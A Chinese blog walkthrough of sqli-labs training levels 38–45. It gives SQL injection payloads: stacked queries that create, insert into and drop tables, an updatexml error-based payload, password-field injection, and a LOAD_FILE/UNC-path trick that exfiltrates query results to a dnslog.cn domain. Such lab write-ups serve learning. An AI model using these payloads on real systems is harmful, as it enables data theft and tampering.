0%

sqli-labs38~45

读文件——DNSLOG外带

使用网站http://dnslog.cn/

UNC路径(只存在windows系统)

格式:\servername\sharename,其中severname是服务器名,sharename是共享资源的名称。
?id=1';select 1,2,LOAD_FILE(group_concat('\\\\'),mysql查询语句,'域名\\abc')
第一个相当于转义两个\,可以把想要的信息放在子域名。

堆叠注入。

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

复习一下,调用数据库时,可以不加;

38

通过与注入点加;分隔开加新的注入。
打开后台数据库检验。
创表
?id=1';create table test like users--+

还可以直接用MySQL语句创表:
?id=1';insert into users(id,username,password)values(16,'fafu','fafu')--+记得字符要加单引号或者双引号。

?id=1';create table test like aaa;后面加分号也可以的。
?id=1';drop table test--+
补充:这里创表需要加like users 是因为创表需要知道字段名还有字段类型。

39

为数字型,也是堆叠注入。

40

改成’)即可

41

也是数字型注入,错误不回显,盲注。

42

这里和24关有点相似,我们尝试创建新用户,失败了,被发现了。
看了一下源码,猜测注入点在password,开始尝试。创建新用户失败,用原来的账户密码登陆。
跳到改密码页面,把密码改成’#后缀的,再次用次密码登陆,登陆失败,嘿嘿嘿,注入点来了。
直接构造报错函数:
' and updatexml(1,concat(0x7c,database()),1)#,ok成功。
堆叠注入
在password构造,
1';create table test1 like users#可以注入。
因为输入密码时是看不见的,这里建议,先写打在记事本上,在复制粘贴。

43

改成’)即可。

44

这一关没有报错信息,盲注

45

也没有报错信息,可以盲注
看了大佬博客,以上关卡,也是堆叠注入类型的,通过在password上构造payload,这里不再赘述。

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道